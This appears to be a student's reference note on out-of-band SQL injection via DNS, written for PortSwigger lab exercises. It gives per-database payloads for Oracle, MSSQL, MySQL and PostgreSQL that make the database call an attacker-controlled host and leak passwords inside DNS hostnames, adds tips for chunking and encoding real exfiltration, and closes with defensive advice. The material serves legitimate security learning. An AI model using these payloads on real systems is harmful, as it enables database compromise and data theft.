

SQLi Out-of-Band (OAST) via DNS — Reference Note

Type: Reference / technique note (not a single-lab writeup) **Topic:** SQLi — Out-of-band (OAST) interaction & DNS data exfiltration **Related labs:** *Blind SQL injection with out-of-band interaction* and *Blind SQL injection with out-of-band data exfiltration* — both Oracle, both require Burp Collaborator (Pro-gated). Skipped for now; concepts captured here.

1. What this is and when you reach for it

Out-of-band (OOB / OAST = Out-of-band Application Security Testing) SQLi is what you use when the injection is **fully blind** — the app gives you *no* usable in-band channel:

- no query output reflected in the page (rules out UNION / error-based leakage),
- no conditional difference in the response (rules out boolean-blind),
- and either no reliable time channel, or you just want something faster and cleaner than dripping a password out one character at a time.

The trick: force the **database server itself** to make a network request to a system **you** control. If that request arrives, you've proven code execution inside the DB even though the app told you nothing. And if you stuff stolen data into the request, you've exfiltrated it in one shot instead of a binary search.

Two distinct goals, escalating:

1. **Interaction / detection** — just make *any* request come out. Confirms the vuln is real and OOB egress works. (This is the first lab.)
 2. **Data exfiltration** — smuggle the result of a subquery (a password, `current_user`, the DB version) *inside* the request. (This is the second lab.)
-

2. Why DNS specifically (not HTTP)

The DB server can be told to fetch `http://...`, connect to an SMB share `\\...\`, resolve a hostname, etc. All of these ultimately require a **DNS lookup** of the hostname first. DNS is the golden channel because:

- **DNS almost always escapes.** Even hardened networks that block all outbound HTTP/SMB usually still let internal hosts resolve names — DNS is recursive, so the DB's resolver forwards the query up the chain until it reaches *your* authoritative name server (Collaborator / interactsh). The data rides out inside the hostname being resolved.
- **It's near-universal.** You don't need the HTTP request to succeed — you only need the *name resolution attempt*. So even if egress HTTP is firewalled, the leaked subdomain still reaches your listener.

HTTP-based OOB (same functions, `http://` instead of a bare host) is also possible and lets you exfil more data with fewer character restrictions (path/query strings are permissive). But HTTP egress is filtered far more often than DNS, so **DNS is the reliable default** and what these notes focus on.

The PortSwigger labs firewall the environment so the only reachable OOB destination is Burp's own Collaborator server (`*.oastify.com`). That's the *lab's* restriction, not a property of the technique — in

the real world any authoritative DNS server you control works (interactsh, a Canarytoken, your own zone + tcpdump).

3. The mechanism, step by step

1. You inject a payload that calls a DB function which takes a **hostname or path** and causes the DB to resolve/connect to it.
2. You set that hostname to a subdomain of a zone whose name server *you* run: e.g. `abc123.oast.fun` or, for exfil, `<secret>.abc123.oast.fun`.
3. The DB's OS asks its local resolver → recursion walks the DNS tree → eventually your authoritative NS receives the query for `<secret>.abc123.oast.fun`.
4. Your listener logs the query. The **leftmost label(s)** are whatever data you concatenated in.

Key subtlety: the source IP you see in the log is usually the DB's **DNS resolver** (an upstream/public resolver), **not** the DB server's own IP — because you're watching recursive DNS, not a direct connection. Don't be thrown by an unfamiliar source IP; the *hostname* is the payload, and that's what matters.

4. Per-database payloads

Each DB has different functions that touch the network, and they carry different **privilege and OS constraints**. Fingerprinting is often implicit: *the function that works tells you which DB you're on*.

Legend: replace `COLLAB` with your OOB subdomain (`abc123.oast.fun` / a `*.oastify.com` payload). For exfil, `SUBQUERY` is something like `(SELECT password FROM users WHERE username='administrator')`.

4.1 Oracle — the most OOB-friendly (this is what the labs use)

Preferred: `EXTRACTVALUE` + `XML external entity`. Works even on modern Oracle because the XXE path sidesteps the network ACLs that lock down the older functions. This is the canonical PortSwigger payload.

Interaction:

```
SELECT EXTRACTVALUE(xmltype(
  '<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLAB/"> %remote;]>'
), '/1') FROM dual
```

Exfiltration (password becomes a subdomain label):

```
SELECT EXTRACTVALUE(xmltype(
  '<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||SUBQUERY||'.COLLAB/">
  %remote;]>'
), '/1') FROM dual
```

As it appears injected into a **TrackingId** cookie (URL-encode before sending), for reference:

```
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT
password FROM users WHERE username='administrator')||'.COLLAB/'>
%remote;]>'), '/1') FROM dual--
```

Older / privileged alternatives (often blocked by network ACLs on 11g+, but worth knowing for fingerprinting and non-lab targets):

```
SELECT UTL_INADDR.get_host_address('COLLAB') FROM dual           -- DNS lookup
SELECT UTL_HTTP.request('http://COLLAB/') FROM dual             -- HTTP
SELECT HTTPURITYPE('http://COLLAB/').getclob() FROM dual       -- HTTP
SELECT SYS.DBMS_LDAP.INIT('COLLAB',80) FROM dual               -- LDAP/DNS
```

4.2 Microsoft SQL Server — via UNC path (SMB → DNS)

Any function that opens a Windows UNC path `\\host\share` forces the server to resolve **host** first. `xp_dirtree` is the classic (historically executable by low-priv users):

Interaction:

```
EXEC master..xp_dirtree '\\COLLAB\a'
```

Alternatives: `EXEC master..xp_fileexist '\\COLLAB\a'`, or `BULK INSERT x FROM '\\COLLAB\a'`.

Exfiltration — `xp_dirtree` wants a literal, so build the UNC with dynamic SQL:

```
DECLARE @p varchar(1024);
SELECT @p=(SELECT password FROM users WHERE username='administrator');
EXEC('master..xp_dirtree "\\'+@p+'.COLLAB\a");
```

Constraint: the DB server must be **Windows** (UNC/SMB is a Windows concept) and you need rights to run the extended proc (often available, sometimes locked down).

4.3 MySQL — Windows-only, and fussy

MySQL has no clean built-in DNS-egress function on Linux. On **Windows** you can abuse `LOAD_FILE` against a UNC path:

Interaction:

```
SELECT LOAD_FILE('\\\\\\COLLAB\\a')
```

Exfiltration:

```
SELECT LOAD_FILE(CONCAT('\\\\\\',(SELECT password FROM users WHERE
username='administrator'),'.COLLAB\\a'))
```

Constraints stack up: Windows host **and** the **FILE** privilege **and** **secure_file_priv** not blocking it. On Linux MySQL, OOB SQLi is generally a dead end — fall back to time-based blind. (Good reason MySQL OOB is rare in the wild.)

4.4 PostgreSQL — needs elevated privileges

No lightweight built-in; the practical routes all want superuser-ish rights:

```
-- COPY ... TO PROGRAM runs a shell command → use it to force a lookup
(superuser):
COPY (SELECT '') TO PROGRAM 'nslookup COLLAB';

-- Exfil by embedding a subquery result into the command:
COPY (SELECT '') TO PROGRAM 'nslookup "$(psql -tAc "SELECT ...")".COLLAB'; --
shell-quoting gets hairy

-- dblink extension: connecting resolves the host (needs dblink + privs):
SELECT dblink_connect('host=COLLAB user=x dbname=x');
```

Because of the privilege bar, PostgreSQL OOB is more of a post-exploitation / high-priv move than a first-touch blind technique. For blind Postgres injection you'll usually reach for **pg_sleep** time-based instead (see [sqli-15.md](#)).

4.5 Quick matrix

DB	Reliable OOB primitive	Channel	Main constraint
Oracle	EXTRACTVALUE + XXE entity	DNS/HTTP	Best case; works low-priv. Use this.
MSSQL	xp_dirtree '\\host\\a'	SMB→DNS	Windows host; proc-exec rights
MySQL	LOAD_FILE('\\\\\\host\\a')	SMB→DNS	Windows-only + FILE + secure_file_priv
PostgreSQL	COPY...TO PROGRAM / dblink	shell/DNS	Superuser-level privilege

5. What you should expect to see in the listener

A single DNS interaction line per successful trigger, e.g. (interactsh style):

```
[abc123] Received DNS interaction (A) from 34.12.xx.xx at 2026-09-14 10:22:01
        for lgdaew3wbuks3t1r8yg6.abc123.oast.fun
```

Read it as:

- **type A** — a DNS A-record lookup fired. (Interaction confirmed → detection lab solved.)
- **source IP** — the DB's *resolver*, not necessarily the DB box. Ignore for solving; note it for recon.
- **the hostname** — the payload. The **leftmost label(s)** before your base domain are the exfiltrated data. Here `lgdaew3wbuks3t1r8yg6` is the administrator password. (Exfil lab solved → log in with it.)

For the interaction-only lab you don't even need data — the *arrival* of any query for your domain is the win condition.

6. What you do with the response

1. **Detection:** an interaction arrived → the injection reaches the DB and OOB egress works. Confirmed. Move on to exfil or note the finding.
2. **Exfiltration:** strip your base domain off the right, take the label(s) on the left, reassemble/decode → that's your secret. Then *use* it: log in as the leaked user, pivot with the leaked `current_user`/version, map schema, etc.
3. **Fingerprinting:** which payload produced a hit tells you the DB engine and often the host OS (UNC hit ⇒ Windows; `EXTRACTVALUE` hit ⇒ Oracle).

Actions the technique unlocks: prove blind SQLi with no other channel · fingerprint engine/OS · dump arbitrary single-query results (passwords, `current_user`, `version()`, table/column names) · in some engines chain to SSRF or command execution.

7. DNS constraints & gotchas (matter for real exfil)

DNS wasn't built to carry secrets, so the encoding rules bite:

- **Charset:** hostnames are Letters/Digits/Hyphen (LDH). Arbitrary bytes (spaces, `+`, `/`, `=`, symbols) won't survive — **hex-encode** them (safe: `0-9a-f`). PortSwigger admin passwords are lowercase alphanumeric, so they pass raw; real-world data usually doesn't.
- **Case is unreliable:** resolvers may fold case, so never encode information in upper/lowercase.
- **Length limits:** each label ≤ 63 chars, whole FQDN ≤ 253 . Long secrets must be **chunked** across multiple lookups — add an index label (`00.`, `01.`, ...) and reassemble in order.
- **Caching:** a repeated identical lookup can be answered from cache and never reach you. Vary the subdomain (e.g. a nonce or the chunk index) to force fresh queries.
- **Patched functions / ACLs:** modern Oracle locks down `UTL_INADDR`/`UTL_HTTP` behind network ACLs — that's exactly why the `EXTRACTVALUE` XXE route is preferred.
- **OS/privilege gates:** MySQL & MSSQL DNS tricks need a **Windows** host; PostgreSQL needs high privilege. Wrong OS/priv ⇒ fall back to time-based blind.

8. How this maps back to the two skipped labs

Both are **Oracle**, both use the **EXTRACTVALUE** payload from §4.1:

- **Out-of-band interaction:** fire the interaction payload; the lab is solved the instant any DNS query for your Collaborator domain is logged.
- **Out-of-band data exfiltration:** fire the exfil payload; read the administrator password off the leftmost label of the logged hostname; log in as administrator.

The only thing gating them is Collaborator (***.oastify.com**) being the sole allowlisted destination inside the lab firewall — hence Burp Pro. The *method* is fully captured above; when you run the Pro trial they're ~5 minutes each.

9. Defensive footnote (for the blue-team side of the brain)

Detection/mitigation angle worth internalizing: unexpected **outbound DNS from a database server** is a strong compromise signal — DB hosts rarely need to resolve arbitrary external names. Defenses: egress-filter DNS from DB tier, restrict/patch the dangerous DB functions (Oracle network ACLs, disable **xp_dirtree**, set **secure_file_priv**, non-superuser app roles), and alert on high-entropy or long subdomain labels (classic exfil signature).